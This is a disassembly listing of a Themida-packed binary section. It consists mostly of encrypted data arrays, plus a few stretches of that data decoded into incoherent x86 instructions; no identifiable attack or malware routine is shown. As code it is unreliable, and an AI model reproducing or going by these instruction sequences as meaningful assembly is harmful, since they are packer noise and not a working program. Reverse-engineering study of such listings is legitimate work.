		dd 12C06800h, 0A03BA8Eh, 925BD515h, 0E031A9AEh,	0CC54CC76h
		dd 6071091Bh, 8C11D919h, 321C0D0h, 78FAE432h, 998CA931h
		dd 4B08F3CCh, 1EC180h, 83083556h, 13EFACFDh, 0D08F048h
		dd 0A877CAABh, 0AF44020h, 1F96031Bh, 385460A0h,	0DB1CEB78h
		dd 5870C490h, 0C6A587h,	64E28FD5h, 0F5B9DA9Eh, 0F3D9D81Ch
		dd 4490870h, 2FDC409Fh,	8038DA5Dh, 0BC216B66h, 0E6EF12BAh
		dd 7C888A9Bh, 474E324h,	0F0050381h, 10A91FC7h, 0EA170DB8h
		dd 78A000C0h, 56009571h, 8497FA28h, 49AB437Ah, 1A3F486Bh
		dd 21EE9213h, 30DB4CA4h, 0F6814D74h, 0AC4D1708h, 0D6CF1010h
		dd 0E9B46200h, 0B950D057h, 0C928EC00h, 349C6A4Ah, 28F049F3h
		dd 12785C49h, 818A0711h, 9B9E4h, 4A9BA98Fh, 12F4276Eh
		dd 68C02E1Eh, 0F8601402h, 4AC5FF68h, 23D20570h,	1EA05CABh
		dd 6D8940C8h, 0EA999A1Ah, 90F0F206h, 248B02Fh, 0F20B1C8h
		dd 98A2CDE2h, 8F0B8524h, 59121D28h, 76DAB846h, 481E0150h
		dd 5B82136Dh, 7F482416h, 4014B449h, 5E130584h, 8C61014Bh
		dd 2C22E143h, 0D875B960h, 821621FEh, 283523B3h,	4072DC81h
		dd 1861F885h, 0F914CCD8h, 9243A498h, 900CD448h,	0BE10F7C6h
		dd 4CDDDA02h, 58F6AB82h, 14811708h, 0A208304Bh,	0AB185E88h
		dd 6B2039C5h, 90605DFBh, 0D5090F8Eh, 0FE60D02Ch, 0FD64C551h
		dd 9C08CC75h, 0EBC460E9h, 2AD88781h, 1EDBFCA8h,	0C1B39D9Ah
		dd 0B0C80C9Fh, 4E7EF81Fh, 7A56D0C3h, 203A41Bh, 990A86BCh
		dd 0C1DC7E7h, 265E208h,	9BA48FF9h, 90B01451h, 1335C3FCh
		dd 0D5BE440h, 0FCE92884h, 2F8577Dh, 0DB9DFE00h,	0DD430D92h
		dd 65B30971h, 4C873051h, 50332603h, 2645F05h, 0F408F9B1h
		dd 8420077h, 0D1795A5Ch, 0DFF62702h, 984F802h, 4254A40Ah
		dd 0E86155F5h, 0B4202FEh, 0F8715C80h, 65692DEFh, 0AD148750h
		dd 4517B82h, 0A448E418h, 7060DB4Ah, 50A28FF7h, 64AC081Fh
		dd 0C48DF90Ah, 19A187ECh, 56F0ECC4h, 0C0960180h, 73165821h
		dd 0D8A4C828h, 0AC58457Bh, 5EF08220h, 804B0441h, 186EB870h
		dd 0A4C76A12h, 0E58BB806h, 69C4F638h, 4C96287Fh, 0B909C04h
		dd 90812649h, 4A1165ABh, 18600475h, 0C11B9A02h,	0E67BA6A8h
		dd 5883EE1Dh, 28B6F2F0h, 6EE7F703h, 0A09ADE46h,	0C15286Fh
		dd 571CEFDAh, 0CE00C720h, 42C8C0B0h, 54DEF09Fh,	0FCB022h
		dd 9B9CFDAFh, 0C317B891h, 0B0CA500h, 0EB761C47h, 4FD401E9h
		dd 0F0168EEFh, 4C8438D2h, 41980204h, 0A88B53h, 346E699Bh
		dd 6F1526E0h, 3948F7Ah,	0DBC5CB56h, 1578D820h, 25A62603h
		dd 0E4CDBEECh, 40188040h, 18B8A18Ah, 6CA91E2Eh,	9CC08764h
		dd 48C66169h, 40771067h, 0E10C4240h, 0D80E3326h, 0B8A5E80Bh
		dd 45AB12B8h, 0A26C0C2Bh, 1C4C8150h, 669F82C4h,	9138E049h
		dd 0D3D2DE6h, 0C883142Bh, 0A01821F4h, 90188E05h, 0A89762A5h
		dd 30E68688h, 0EF0B6A42h, 400F6CCh, 0D0FDD79h, 0E420FF4Ah
		dd 20ABB95Ch, 0A034BA3Fh, 34D8E0DBh, 1F68206Eh,	0CB464B14h
		dd 6671149Eh, 0BF070310h, 70781A03h, 0C6922C10h, 6F3A4224h
		dd 5C809C6Bh, 2821FF4Bh, 0D31300CCh, 1B9D10D1h,	0B07D0F8h
		dd 4323E099h, 5B59675Eh, 1AC8806Fh, 0F8698D2Bh,	12EC0CFBh
		dd 861868CEh, 0BF9F0D01h, 1332E6C3h, 1700E022h,	0C62B1C19h
		dd 0F13676h, 0C93C8B0h,	8F9F90FCh, 15005E80h, 0AD8606Bh
		dd 5C57DAE3h, 861FEC43h, 621E8F39h, 7E280D00h, 88E09106h
		dd 7525AD00h, 0F302D218h, 5014924Ch, 902A68F0h,	0B3EC896Ah
		dd 28EC1DCh, 7DAB0ACBh,	805A06F8h, 0E5489FAh, 0B8007314h
		dd 421BD1CFh, 177586Ah,	0C0DC9D2Dh, 0E0D427DFh,	871E6D18h
		dd 0CC0491AFh, 8886AC1h, 891560A7h, 1A8D93D2h, 0E53D43EAh
		dd 2A871F16h, 7659EA00h, 24AB52C1h, 2A648068h, 961DF060h
		dd 6C9A0A7Ch, 7B5742E8h, 1A0A2444h, 0FC496074h,	0FDD2EF05h
		dd 734288D1h, 0F0F07201h, 4894A8C4h, 464B94A4h,	4E4924BCh
		dd 0A9B64268h, 0A8206452h, 74A09893h, 5981006Ah, 4FD3BFF8h
		dd 0EF00781Dh, 3A53E061h, 32F06F43h, 81302383h,	0A4425081h
		dd 4B621166h, 255A5C30h, 0B0109B1Bh, 4130AB58h,	0E3D230D6h
		dd 4AB40534h, 81A3C7E8h, 336A60h, 1FB5B087h, 4B8AAFCFh
		dd 30006599h, 3C392D4Ah, 1AD9A83Ch, 0C9114B05h,	94239A6Ch
		dd 0E453804Ch, 8B846A24h, 0A420AB90h, 910B785Eh, 108E1132h
		dd 0BB00E064h
		dd 87B80052h, 70C8F568h, 22015C66h, 0C037E904h,	61873903h
		dd 8F55E29Eh, 18A050CBh, 94E043DCh, 30A36709h, 1E05801h
		dd 5ADB1C1Eh, 0C0AC9260h, 0BB000866h, 7CF52879h, 3C399159h
		dd 0CD28E7C3h, 9C4D5008h, 0A4209987h, 40702404h, 0B680B3FCh
		dd 38EBC05h, 6CA7195Ah,	0ABDD4505h, 0C0E0848Dh,	0B001835Ch
		dd 44B95D2Ch, 638C651Fh, 147258CAh, 0B82A3790h,	2024C639h
		dd 25482664h, 68029801h, 60F870E9h, 522533Ch, 20A2C7CAh
		dd 82AA23C2h, 4107FD8h,	56CCB06Ch, 0F703160Dh, 3C589893h
		dd 0E46C322Ah, 0D878A278h, 58F80C12h, 0A6EFB480h, 1C28C05Ch
		dd 898B6D9Bh, 8540403h,	96F403B3h, 28295488h, 0E971EAABh
		dd 65CEEF2h, 790F3DD6h,	40F19838h, 15E32FFCh, 178AA23Ch
		dd 306075A0h, 0C99D1BABh, 64807748h, 7F967A36h,	0F96E6EF8h
		dd 2030D3B1h, 660D031Ah, 483790ECh, 0FC740224h,	1CD6A882h
		dd 4818F25Ah, 5711ECD3h, 0D791000Bh, 0FDEE68DFh, 626D0F94h
		dd 0D2E0CDCAh, 0B2DCB587h, 42ECF809h, 1788F81h,	948D7565h
		dd 7BDFC420h, 3927CF1h,	23342604h, 0C38CD054h, 113C25DCh
		dd 0CB4DBFA8h, 0C3EC85Ch, 0D0E442E1h, 889A65h, 261B55D3h
		dd 937390A7h, 0AB5D9CA0h, 849B9228h, 66C744Ch, 6D8F4A53h
		dd 99EF1251h, 1F7CC010h, 0C40B1167h, 834AA85Bh,	0F2EFFF34h
		dd 2A4860E3h, 64D2F907h, 24AB18A8h, 44CD10AFh, 7248A5FCh
		dd 19820460h, 0E8E48DDCh, 897B456Dh, 0B1A38F70h, 58605B1Ch
		dd 5DC500FEh, 43787D64h, 747E29E9h, 87EE6500h, 21172891h
		dd 9E9B0031h, 271941A1h, 0B890BF08h, 4FC6F43Ch,	2590103Ch
		dd 9C0B4258h, 1333C02h,	1388F08Eh, 2386508h, 4ACAEF68h
		dd 0E82E8060h, 907DF0C9h, 0D01E34h, 0A88A300Ch,	0AD42EFDEh
		dd 3432742Eh, 0DAC0402Eh, 0F14AE60Ah, 0B91DF5F0h, 8E9BE30h
		dd 0E2FFC801h, 240800A6h, 8D702420h, 0E074245Ch, 0E70AAB5Bh
		dd 40217781h, 69BC2061h, 949E26h, 7678BD0Ch, 0FA3490B0h
		dd 309838EDh, 50BF89Ah,	7D599E8h, 8BC10ABh, 0A6EE9112h
		dd 5CAB0BDCh, 70A066C1h, 0D6DA3280h, 0C829A3B9h, 0B22770E4h
		dd 39DF002Ch, 903C4C3Bh, 0B8A00778h, 0BD304715h, 0FC7050BBh
		dd 394D1CC3h, 0FF8380EEh, 1EAFC7A9h, 35D6E0A0h,	12564B00h
		dd 0D0B2616Ch, 0EFBF0B95h, 0F0A0884Dh, 0AB86D80Bh, 0D1AFB71Dh
		dd 0E4DB640Bh, 7CC15808h, 0C180052Eh, 9F6290h, 0C83A387h
		dd 0EAB8C82Dh, 3364AB08h, 30A2A899h, 4698052Ch,	56F8E92Fh
		dd 0F8ACD89Bh, 2360D05h, 5FAD2680h, 894EA9h, 8334C628h
		dd 850B07D1h, 4EF67903h, 94313ECh, 906098AAh, 0B42C3326h
		dd 580990AAh, 5009642Ah, 9694F44h, 0E463FAE8h, 848721C4h
		dd 999E102Ch, 29C029E8h, 0EAC313A8h, 2E2A0CCCh,	6388119Ah
		dd 108626ABh, 17949901h, 75820312h, 5B1BA190h, 27D87806h
		dd 54C8F828h, 0BC588CFFh, 0DB203FCCh, 78C5E58h,	0C06ACF74h
		dd 0E6E40EC3h, 0E85098D9h, 30B67C12h, 0FE1889C5h, 830B1195h
		dd 5B7F5Ch, 92436D56h, 93AB2464h, 719A8074h, 1CED228Dh
		dd 1DACC800h, 58DED128h, 0B9411EC9h, 0BF803AF4h, 4BC3D84Fh
		dd 382C01EAh, 0CA088087h, 1F802447h, 49825B6h, 9B0109C0h
		dd 2B234ADFh, 1889A4C6h, 0B82977ABh, 0ACA0F029h, 0F9074363h
		dd 0CE2F39h, 575FC1FAh,	1CE94E8Bh, 40FFD374h, 67C4E381h
		dd 0EBEC5855h, 9493030Fh, 0B5EE8AA5h, 17D1F00h,	0A4BB53DEh
		dd 8B5B0208h, 0C481241Ch, 1BC6F875h, 0A402EE9h,	0B80ECDAh
		dd 0B9240C89h, 0E23613A8h, 815A7CC1h, 198302C5h, 8B242C87h
		dd 0C3803097h, 0F530E90Eh, 0F8301C82h, 8373C366h, 63F102C4h
		dd 11C8E5Ah, 331AE6FAh,	77FF0B0Eh, 76819D1Ch, 0F89C2404h
		dd 70C6EC59h, 0FA413C8Bh, 39F60081h, 312B4FF8h,	0E7F25EF7h
		dd 4135F00Fh, 2E00F611h, 566FFE29h, 2CA033E9h, 0C6BAE0CDh
		dd 0B4626D8Ch, 0E730107Ah, 805864E5h, 0B8658EDh, 54D5F61Fh
		dd 9E107CBCh, 874606C6h, 291EF7EEh, 4F99732Eh, 2ACF6966h
		dd 1D405D64h, 0D3BA5200h, 0E069E3Fh, 0EAC1D2F7h, 0E4A2A0C8h
		dd 1F00BE9h, 90865AD1h,	9883A16Bh, 80EB54E9h, 1F05594Eh
		dd 0F793D29h, 55C3315Ah, 20C35DCAh, 0BF57283Eh,	0EDF806h
		dd 228A3492h, 64E9FD29h, 0FF4AA0E7h, 73A62C52h,	3302C014h
		dd 6313087h, 0CA4240E9h, 8C6CC145h, 0B90A5122h,	813DFBA4h
		dd 617602EAh, 0A821E937h, 11EA287h, 454FF70Ah, 320F1617h
		dd 7BF8662Bh, 225F6416h, 33050A25h, 0DFE8830Eh,	4D769C4Ch
		dd 663A07F5h, 4A7D9068h, 0AFB081DBh, 80501FE9h,	8C355D24h
		dd 0C023EE1Ch, 0F32DFFCEh, 581C46CEh, 5BC0C631h, 0ADE9F021h
		dd 478A8222h, 8A571E6Ch, 58BD7D8h, 1B835156h, 10E965E4h
		dd 2C2E8306h, 0EFD8287Ch, 3818E94Fh, 0E6243490h, 0A9C6F6E6h
		dd 33D9EE63h, 6311C9Bh,	0A85C0D24h, 52665380h, 76889EB2h
		dd 385A74D7h, 744C5BF9h, 59072A6Ch, 3595D193h, 75513BE1h
		dd 0FE161B60h, 0E5B353CEh, 33235602h, 6BC41014h, 0E2C0007Ch
		dd 0A5B15107h, 0FEE118D0h, 0F18008C9h, 16061E60h, 0E159CA28h
		dd 5A7F10F3h, 186F5783h, 0C10A85CCh, 330378EEh,	581014FAh
		dd 85EFBAF1h, 2C383A0h,	674E9475h, 5110789Ah, 34950FB9h
		dd 8C6F41DBh, 0BA932412h, 1231B03h, 811CE9D0h, 9551A92h
		dd 731239D3h, 6012635Eh, 12CF601h, 0FE9349FDh, 86243718h
		dd 89311182h, 25DB7E3Ch, 4BE5600h, 803381Fh, 505EF280h
		dd 127ABBB8h, 0C13B6Ch,	170D2D42h, 0ABEA7D82h, 79293104h
		dd 0B5C7C201h, 0D9540730h, 5F38CE2Bh, 3149FE63h, 0F0DA1E63h
		dd 4BC0A457h, 78413CF1h, 0AF0951FFh, 0A1173C8Fh, 0D301F640h
		dd 8DA1335Ah, 0D06B231h, 8BC0A25Ch, 10D26E14h, 1C456B68h
		dd 0B6A832E9h, 57283CACh, 5F4C0668h, 87697381h,	4724064Ch
		dd 0F4437118h, 0D7F726FBh, 202312E7h, 8FC7A7D2h, 0B320F17Bh
		dd 0E1B07928h, 0EF4166EDh, 0AD00EC7Bh, 411DBC2Dh, 684017A9h
		dd 291B350Fh, 70550D8h,	4E8A9156h, 950D6DD0h, 359D8746h
		dd 75AE733h, 932108F4h,	123CFBB1h, 5FDC92ACh, 0F6882261h
		dd 0D9F71C84h, 0C49EC081h, 31124CDBh, 3B7459CDh, 5DA07487h
		dd 32E9F901h, 5B18082Dh, 3DDF5D60h, 0EB339728h,	2B121CC8h
		dd 65CD89B9h, 50C6B320h, 5B0B9B0h, 665F44A9h, 2580444Ah
		dd 1EFC6F02h, 4C1F5268h, 349C203Eh, 568F2FCEh, 21669821h
		dd 6B107762h, 0E3890EC3h, 2645D581h, 5EA454CBh,	0D9545643h
		dd 1792E6B6h, 4CEF0F50h, 8D462B45h, 9916E1CAh, 52668B45h
		dd 0CC20BDE4h, 1713357h, 0AA5BD93Eh, 5C0ABC18h,	0A31A3B68h
		dd 6447C66Fh, 5CBDCF10h, 4335A825h, 3E1C06Ah, 6607C29Fh
		dd 0F6F94A63h, 4E73E0DBh, 72000291h, 294A3A42h,	801090CEh
		dd 0C1AFE908h, 0FE59B197h, 0D4F4E7C1h, 588A982Eh
		db 16h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		db	64h
		jl	short loc_4ECB09
		push	es
		test	esp, 0CC33AEC0h
		rcl	byte ptr [esp+ecx*2+5Eh], cl
		xor	[esi], cl
		mov	ah, 16h
		or	eax, 61CA81E0h
		pop	ebp
		add	eax, 0F168A4A0h
		and	byte ptr [edx],	1Fh
		xchg	eax, esi
		jl	short near ptr loc_4ECB2C+1
		retn
; ---------------------------------------------------------------------------
		dd 4C8B703Ch
		db 87h
; ---------------------------------------------------------------------------

loc_4ECB09:				; CODE XREF: Themida_:004ECAE0j
		aad	17h
		add	[ecx+36h], ecx
		and	eax, 0E4CF2046h
		or	ecx, eax
		loop	near ptr loc_4ECB18+1
		dec	edx

loc_4ECB18:				; CODE XREF: Themida_:004ECB15j
		add	bh, dh
		dec	ebp
		mov	esi, 0BD00B0EBh
		lds	ebx, [esi+42h]
		sbb	eax, 0BA430EE9h
		jg	short loc_4ECBA4
		cmc
		movsb

loc_4ECB2C:				; CODE XREF: Themida_:004ECB01j
		aam	73h
		and	[ecx+52A6D950h], eax
		les	edx, [esi+ebp*8+7Ch]
		push	eax
		mov	dword ptr [ebp+edx*2+50h], 0B0106BDh
		out	dx, eax
		jmp	near ptr 6F80DFEEh
; ---------------------------------------------------------------------------
		db 64h
		dd 4940DA67h, 0F90B2745h, 0E9F3987Dh, 76C560B0h, 4D394805h
		dd 159780Fh, 361101F8h,	0DB617176h, 268FCAC5h, 1D650ABFh
		dd 47BFC057h, 4D7F091Bh, 56C3527Bh, 92F52CACh, 0A49FCB9Ah
		dd 407B0A82h, 32E9B554h, 2948D084h, 0DA018460h,	44CD5B4Ch
		dd 0E910F26Bh, 80127767h, 0C2BF04EAh
; ---------------------------------------------------------------------------

loc_4ECBA4:				; CODE XREF: Themida_:004ECB28j
		inc	esi
		pop	ds
		dec	ecx
		aad	0C1h
		db	2Eh
		pop	esi
		mov	edi, 0EFAB40Ch
		push	7C118502h
		push	ecx
		pop	ecx
		inc	ecx
		arpl	[eax], dx
		nop
		sbb	eax, 5BEA7078h
		dec	ecx
		cmp	eax, 0AA142985h
		cmp	eax, 63512A98h
		icebp
		sbb	eax, 0C56C06DFh
		db	3Eh
		xchg	eax, edx
		adc	eax, 92BA67DAh	; CODE XREF: Themida_:004ECBE0j
		js	short loc_4ECC58
		dec	edx
		jns	short loc_4ECC1E
		insd
		push	esi
		std
		jz	short near ptr loc_4ECBD3+2
		stosd
		pop	esi
		icebp
		movsd
		in	al, 48h
		pop	ss
		push	25D2026h
		retn	9D4h
; ---------------------------------------------------------------------------
		db 3, 30h, 0E8h
		dd 5CC82447h, 1484A5BCh, 88DF3B81h, 0CB5C334h, 0A2C58042h
		dd 76C81006h, 0D03101EAh, 3253575Ah, 73BDC781h,	8E43B332h
		db 0B0h, 0CDh
; ---------------------------------------------------------------------------

loc_4ECC1E:				; CODE XREF: Themida_:004ECBDBj
		and	eax, 5EF3F80Ch
		adc	esi, [ecx]
		jmp	short loc_4ECC84
; ---------------------------------------------------------------------------
		db 0Ch
		dd 0C5871505h, 71468309h, 40E5094Bh, 4C875835h
; ---------------------------------------------------------------------------

loc_4ECC38:				; CODE XREF: Themida_:004ECC9Dj
		sbb	al, 59h
		xchg	eax, esi
		and	dl, [ecx-783E57ECh]
		pop	ss
		add	ch, ds:0D22F9A78h
		int	3		; Trap to Debugger
		inc	ecx
		outsd
		outsb
		inc	eax
		xor	ch, ch
		add	[bx+di], edi
		add	al, 19h
		mov	ah, 0DDh
		jz	short loc_4ECC6A

loc_4ECC58:				; CODE XREF: Themida_:004ECBD8j
		or	[ecx+6149FE14h], cl

loc_4ECC5E:				; CODE XREF: Themida_:004ECCC0j
		jmp	near ptr 735F983Dh
; ---------------------------------------------------------------------------
		db 0CFh
		dd 111BC56Dh
		db 53h,	0C9h
; ---------------------------------------------------------------------------

loc_4ECC6A:				; CODE XREF: Themida_:004ECC56j
		pop	ebx
		dec	ecx
		xor	eax, 155D8D16h
		and	bl, [ecx]
		fbld	tbyte ptr [eax]
		adc	ch, cl		; CODE XREF: Themida_:004ECCA1j
		inc	ecx
		aaa
		inc	ebx
		call	far ptr	0C8Ch:0D48BC209h
		push	ds
		xchg	eax, esi
; ---------------------------------------------------------------------------
		db 0Bh
; ---------------------------------------------------------------------------

loc_4ECC84:				; CODE XREF: Themida_:004ECC25j
		sbb	eax, 77F489C3h

loc_4ECC89:				; CODE XREF: Themida_:004ECC9Fj
		mov	bl, 2Fh
		or	ds:9B3C5F68h, esp
		adc	ebx, [edx+4FA42E2h]
		xor	edx, [ecx-4Dh]
		popf
		adc	cl, [esi]
		jnp	short loc_4ECC38
		ja	short loc_4ECC89
		db	2Eh
		loope	near ptr loc_4ECC75+1
		xor	fs:[ebx], ebp
		cmpsb
		push	0FFFFFF8Ch
		sbb	eax, 880A0573h
		cmp	esp, edx
		idiv	byte ptr [edx]
		push	ebx
		mov	ebx, 4D94C8E3h
		leave
		sbb	[edx+4592283h],	cl
		jo	short loc_4ECC5E
		cmp	bl, al
		sub	al, 69h

loc_4ECCC6:				; CODE XREF: Themida_:004ECCECj
		push	ds
		pop	es
		fild	qword ptr [ebx]
		dec	ebp
		cdq
		and	[ecx], ch
		daa
		inc	ecx
		into
		lodsb
		adc	edx, ebp
		add	ah, al
		loope	near ptr loc_4ECD09+1
		sub	eax, esp
		add	al, 0EDh
		push	ecx
		mov	dl, dh
		mov	dword ptr ds:0F752734Fh, 6D70C3D2h
		rol	dword ptr [ecx], 79h
		loope	loc_4ECCC6
		inc	ebx
		add	ch, ds:46116FC8h
		add	esp, ds:1DEA5592h
		add	eax, 0AC5A2FD8h
		pop	ebp
		sub	[eax+eax-1E9F1212h], edx
		push	ss

loc_4ECD09:				; CODE XREF: Themida_:004ECCD6j
		jmp	near ptr 814336A1h
; ---------------------------------------------------------------------------
		dw 7A90h
		dd 0A1882CD3h, 8D50B370h, 64132205h, 6353ED10h,	56C242DBh
		dd 0C330029Eh, 85C0B60Fh, 168987A5h, 0D869331h,	2C2EE7E9h
		dd 0ED0CD8D3h, 0BCBF306h, 7A0409CFh, 0AFDB900h,	0CC1438Ch
		dd 40AC8738h, 0ED194E35h, 7CD5A688h, 5C43B800h,	7B96629h
		dd 99D6A3C1h, 89585001h, 4430E9CEh, 0BA663541h,	0C87A5053h
		dd 45154B55h, 10CB6484h, 7194698Eh, 0DB3C4692h,	0DF03BD23h
		dd 0E798EF81h, 0F829A0B6h, 0C789245Fh, 525B1626h, 2F63200h
		dd 14314D2Fh, 8A033F9h,	32E91A08h, 0C6C47CBFh, 0C7195D29h
		dd 1AA243A0h, 0E95AA510h, 26609135h, 0B2BEAC68h, 7BD69960h
		dd 0E917CCA4h, 1E7F8C30h, 0CB05EBC1h, 0DD020606h, 8D48109Ch
		dd 5ED6FCE3h, 0E5418244h, 4115D3DCh, 0B5AABA5Dh, 0EB231ED8h
		dd 687F0BD2h, 0E0180CB4h, 0F5728851h, 38E9E812h, 808BD552h
		dd 0A615122Eh, 12F0128Dh, 87E37251h, 60C18FEAh,	12452D07h
		dd 0FE726E25h, 11BE8656h, 5B15960Ch, 3C52ADF9h,	78B5A12Fh
		dd 310A93h, 5BD821DFh, 1879E8C1h, 0FC68C80Ah, 2AA66B5Ch
		dd 138D925Ah, 0E9150D5Ah, 66725669h, 0C833534h,	0EE029809h
		dd 0F82132F5h, 28905F3Dh, 0E916C009h, 228C7C9Fh, 0E052160Dh
		dd 0D0CA0011h, 4943AB53h, 38BF5700h, 29CE34FEh,	15F01F9h
		dd 0B1E959CFh, 0C2757224h, 41875DEAh, 0A74C5C48h, 0CEE91451h
		dd 0F043F38h, 0E24C2F84h, 68511E07h, 3C652DC1h,	0C3FA2959h
		dd 0C48BADDCh, 0FA8B3B4Ch, 2DF05248h, 6E69D70Bh, 0C2F50374h
		dd 0E6DB3B4Ah, 40ED3C92h, 121EEEDFh, 0C6EC694Fh, 7918410Bh
		dd 88F3A9E7h, 0F62E37Ah, 0CD600F46h, 4CBE5825h,	5C3122C0h
		dd 0A294DFEh, 7BB2E9EBh, 4B561A1h, 0FD2720B0h, 5272E362h
		dd 9366EC54h, 0E9550251h, 0AC722F70h, 79736101h, 0ECE28174h
		dd 0B00D2D70h, 4AEE6121h, 5DE18951h, 839E41B5h,	0E4C164C1h
		dd 8999FF83h, 53C8A435h, 214354B7h, 1C592D58h, 15CD6851h
		dd 4BCB8801h, 0D3F61FBBh, 4DCADE56h, 0E2B75300h, 0BBE9FE28h
		dd 0F581BDA8h, 486B3C07h, 79E5680Eh, 4B69B4D8h,	53E67340h
		dd 8B488BE1h, 4659540Ch, 0BBBFC6Eh, 42A65A9Dh, 3F280800h
		dd 0F7F866A1h, 2916A49Eh, 0D35D9F4Ah, 0AA1C1C1Eh, 9EF89C9h
		dd 800920F3h, 0E6C04BEBh, 0F0D07608h, 306800F3h, 0F0285BDEh
		dd 0E991A2E9h, 3F016C12h, 78173BF1h, 108244E1h,	510340D1h
		dd 469669E4h, 1DBC5DC3h, 0D2C2FE68h, 8397C040h,	29B004C0h
		dd 2E1E6120h, 0F4E7D1h,	644F9DF5h, 5E2CF729h, 0AF211501h
		dd 0E9D8E26Fh, 185AD872h, 608E5C1h, 80E34D03h, 7815FCEEh
		dd 645FE9DEh, 4B178D23h, 3068001h, 0F85B3E2Ch, 220B6E56h
		dd 84EF48CEh, 0EFD9D073h, 227BD560h, 0BB3DDF33h, 0D6C4507Fh
		dd 477741ECh, 537AB09Ch, 71ED015Bh, 2A42D840h, 2BE11E50h
		dd 3C4E252h, 0AB3C4BF5h, 0BEE6E1CFh, 6A1C18AEh,	8910AD07h
		dd 5799F921h, 0E621A28h, 0FC39DCDh, 7C746E78h, 5610D01h
		dd 4FDA0A1Ah, 2C7238D4h, 216C6675h, 420410E1h, 0F85710CEh
		dd 21018B16h, 0A00D4A43h, 4871BD79h, 8CD0F728h,	6C9FCD55h
		dd 0A54A3C03h, 0A0B40A7Bh, 0CE0E3200h, 48446835h, 0BFC06C19h
		dd 770B2DE5h, 455ACBA0h, 0E919347Ch, 873CBBF2h,	0F35C2680h
		dd 386203A5h, 39476813h, 66D8E28Ch, 3736B34Eh, 0FC3D13B3h
		dd 0C317DC60h, 6AA66C64h, 0A0B0B027h, 233720F1h, 5A975950h
		dd 157C2AE8h, 0F551F068h, 6FCB2C1Ch, 0A23F3A47h, 6440C6A5h
		dd 2E2C78CBh, 0A040FED6h, 9AE0E6A9h, 9795BBEBh,	81A34042h
		dd 0AA442CF6h, 6C254Ch,	46111B13h, 2FE9D601h, 17B8F006h
		dd 0C37E3159h, 1CDECB36h, 3A2002B8h, 1D0D2A38h,	56B607Dh
		dd 275518E6h, 5AEF561Fh, 802DBF25h, 48F235ABh, 9787565h
		dd 0EAE97C27h, 76285500h, 42822541h, 21080BFFh,	2DA0E99Eh
		dd 0F747B484h, 0B033C0D7h, 9D123C8Eh, 0F000DF29h, 0E46382C3h
		dd 0FB013C2Dh, 7008EB28h, 0F3D54DE9h, 4715BA04h, 0CA4FC3D9h
		dd 257237D0h, 6C402BB8h, 62FA6D87h, 728E3508h, 3B6B10A6h
		dd 82025F2Fh, 0BA0548BFh, 37BE3E2h, 8417F75h, 0E4B9D129h
		dd 0B392746Dh, 0BE31175Ah, 10833A40h, 0FE57C580h, 82ED559Fh
		dd 0D3D0E525h, 7801BB06h, 0CE0436h, 358457A8h, 0F703E3C1h
		dd 0BF4DB60h, 1A2B9E66h, 0E4CC55E9h, 0E2895803h, 3D113ED9h
		dd 2EC51885h, 64FCEA7h,	0F7765B67h, 0DAFF04D6h,	0F5C0CC6Ah
		dd 0A394D3FEh, 61AA68E1h, 0C9920368h, 0C0C13CD8h, 2896664h
		dd 74DA32E9h, 0DF84AD2Eh, 841CA822h, 52102B46h,	1F20581Ah
		dd 1830D560h, 0AEADF182h, 9B33518Ch, 2606311Eh,	0E4565C0Dh
		dd 3B524901h, 511E019Eh, 0BC135EB9h, 40196238h,	705C2ED0h
		dd 90E98268h, 2EE2E542h, 34F92EFAh, 4A7C160Ch, 0A7F2FCD4h
		dd 8BF1BE30h, 87663450h, 0E6F76A9Ah, 8B1E1951h,	0FD9811E7h
		dd 3028B868h, 5FB84990h, 19D18860h, 0C2C029D8h,	32D44607h
		dd 59CA3901h, 0EA81FA8Ah, 0E95F030Bh, 0C3024510h, 0E47573F2h
		dd 977C4060h, 72E02C30h, 484C0027h, 0EFC15599h,	0E77358B0h
		dd 0F2CF811Eh, 7C3B759Fh, 0FE7B2770h, 5FFA2901h, 4B5AD389h
		dd 802D9B20h, 0B3035BEh, 5B4C9675h, 29B11783h, 0C1D600F1h
		dd 0C2187786h, 28E91EC0h, 2E014F26h, 10CC59C8h,	1D045B5Ch
		dd 5D0566A2h, 27E0F721h, 0E90AB852h, 662A4077h,	698E681Eh
		dd 121CAB4Ch, 0D8F70558h, 8005E8C1h, 0C8BF3516h, 26B4D658h
		dd 28422BC3h, 1DC0A67h,	6FB21DEEh, 10D5725Eh, 4E3FC4BDh
		dd 8C023592h, 484120F0h, 0E680DC18h, 417D903Fh,	0E7E2EE75h
		dd 0EFFEDBC4h, 0F528DF39h, 5905C775h, 68B65266h, 57B02C3h
		dd 1D45EB89h, 6AEF8257h, 52B587AAh, 85039A72h, 0F6E99CC8h
		dd 2AA851B7h, 0B0B20BA5h, 255A2004h, 17C98974h,	3F2D000h
		dd 81340080h, 0C07C86E1h, 6ECC166h, 87C492A3h, 45DF2AD5h
		dd 8060B07Dh, 792FC65Ch, 8C46792Ah, 34134196h, 5F548A80h
		dd 13C09853h, 52907F2h,	97F7DDFDh, 0F1806423h, 2454F422h
		dd 0B05A082Eh, 98555858h, 113C09FDh, 82A01DA0h,	4703C2EBh
		dd 0F3006F76h, 3D4E8E30h, 4D5BDD89h, 44EE255h, 341C354h
		dd 1BEEC159h, 3FFC6D2h,	0B03A97B7h, 0F031E7A5h,	68515E04h
		dd 79CC1F87h, 134C1DBEh, 4F79746h, 13B42E2h, 0E831585Bh
		dd 0EE489569h, 201A662Fh, 560F0A51h, 0F7162029h, 92E068DDh
		dd 0A4E9252Bh, 0C701F840h, 635835B0h, 0B050C0F5h, 3AD0F61Fh
		dd 0D830C0FEh, 88932C0Ch, 3058C605h, 14F05AF0h,	0C3801733h
		dd 0C00F1678h, 0D1DAF741h, 8308EA67h, 41E20147h, 2CF065BFh
		dd 61F40085h, 0CD01581Eh, 1116D6A0h, 2C10D226h,	0B3AF2202h
		dd 2512F0B8h, 482028B1h, 0D416746h, 23909CB0h, 0E707D890h
		dd 1F9C3F8Fh, 290F816Fh, 0FBCC2A0Dh, 0B0CBEC5Fh, 4C845C5Eh
		dd 7CE22528h, 3F961F26h, 1EE0FE59h, 44143612h, 918F6628h
		dd 5AB6832Bh, 8764CDA4h, 0AA5E903h, 0EA311009h,	0B00D585Dh
		dd 472B0054h, 0C7054984h, 3124C40Eh, 17BF4948h,	0E303B470h
		dd 0A66C1AC9h, 5061F892h, 98D3D8DBh, 7EC864A5h,	5BD4E430h
		dd 0CBCD0F95h, 0BADE6368h, 2F5952C8h, 41A23646h, 860CEB2Bh
		dd 0F2580108h, 2DE8D13Bh, 4A96E8CDh, 0BFABC0EBh, 0A14EB469h
